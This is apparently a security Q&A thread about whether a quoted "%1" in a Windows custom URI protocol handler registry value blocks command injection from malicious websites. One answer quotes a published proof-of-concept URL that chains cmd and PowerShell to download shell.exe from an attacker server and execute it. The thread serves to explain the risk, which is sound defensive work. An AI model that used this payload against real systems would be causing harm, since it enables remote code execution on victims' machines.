4

Background

Some features are not yet available on the web platform and thus require cooperation with a native application in order to provide them. One method for a web application and a native application to communicate with each other is a custom protocol handler.

For instance, the web application can call mycustomproto://some/params, where mycustomproto must first be registered with the operating system as a valid URI protocol. On Windows, this is done in the registry. There are a few keys/subkeys/values etc that must be added to the registry, but only one actually deals with specifying the executable and its parameter(s).

Note that once the protocol handler is registered with the operating system, it can be launched by any website that knows of its existence, subjecting it to potential abuse.


Example Windows registry value for this purpose

All of the examples that I've found documenting this show the following:

C:\myapp.exe "%1"

Primary Question

Assuming that the registered handler (e.g. "myapp.exe") has zero possible security flaws, is the above example registry value sufficient for ensuring that malicious websites are unable to piggyback additional commands and/or arguments?


Clarifications

  • For the purpose of this question, please assume that the protocol handler (e.g. "myapp.exe") is incapable of exposing vulnerabilities of its own - it's idle - it launches, does nothing, and quits. This question is specifically related to the browser and/or OS and the "execution" of this registry value.
  • Can malicious actors somehow escape out of the "%1" double quotes and cause the browser and/or OS to run additional commands (e.g. && C:\Win32\do-something-malicious.example.exe)?
  • Similarly, can malicious actors somehow send additional arguments to the protocol handler? Or does the "%1" ensure that the handler will only ever receive a single argument?
  • If this registry value is insufficient to only ever call the protocol handler (and nothing more) with a single argument, is there a better way?
Esa Jokinen
  • 16,100
  • 5
  • 50
  • 55
Aaron Cicali
  • 422
  • 2
  • 9

2 Answers2

1

Yes, this should be sufficient to prevent malicious websites from executing additional unexpected commands. Chromium both escapes and quotes the url before passing it to the protocol handler, and I expect other browsers do the same, since not doing so would be a major vulnerability.

nobody
  • 11,251
  • 1
  • 41
  • 60
1

In Windows command line, first nine arguments can be referenced as %1...%9. Even without the quotes, %1 represents the first argument, which from decent browsers will be a URL escaped and quoted full URL. If this was a problem per se, the defaults for e.g. http://, https:// and ftp:// would be vulnerable, the shell\open\command being

"C:\Program Files\Internet Explorer\IEXPLORE.EXE" %1

(Notice that the path of the executable is quoted as it contains spaces, but the %1 is not.)

Therefore, given your assumptions were true, this would be ok.


Problems do arise if the first argument was passed to a program that was vulnerable to command line injections, or the protocol handler passes it directly to the cmd.exe, which has special characters that can modify the execution. E.g. this "echo protocol" example from Stack Overflow is vulnerable, as explained in Andrey Polkovnychenko's Exploiting custom protocol handlers in Windows.

The article also explains how you can't always trust the URL escaping done by the browsers:

  1. % isn't escaped if it was already a part of a hexadecimal number.

  2. %CD% is simultaneusly a hexadecimal number and a environment variable containing the path.

  3. Most of the time programs are running under C:\Program Files\

  4. Therefore, extracting the tenth symbol with %CD~10,1% in an URL will become 25.

  5. In the article, problems caused by this extra 25 after the space were circumvented by using PowerShell's ; and cmd /v delayed variable expansion !:

    echo://&cmd/v:on/cpowershell.exe%CD:~10,1%;(new-object!cd:~10,1!system.net.webclient).downloadfile('http://attacker-server/shell.exe','shell.exe')&shell

The moral of this story is that you should never trust the input from a URL, but must filter it (again) in the handler... but in your question you assumed this was already done.

Esa Jokinen
  • 16,100
  • 5
  • 50
  • 55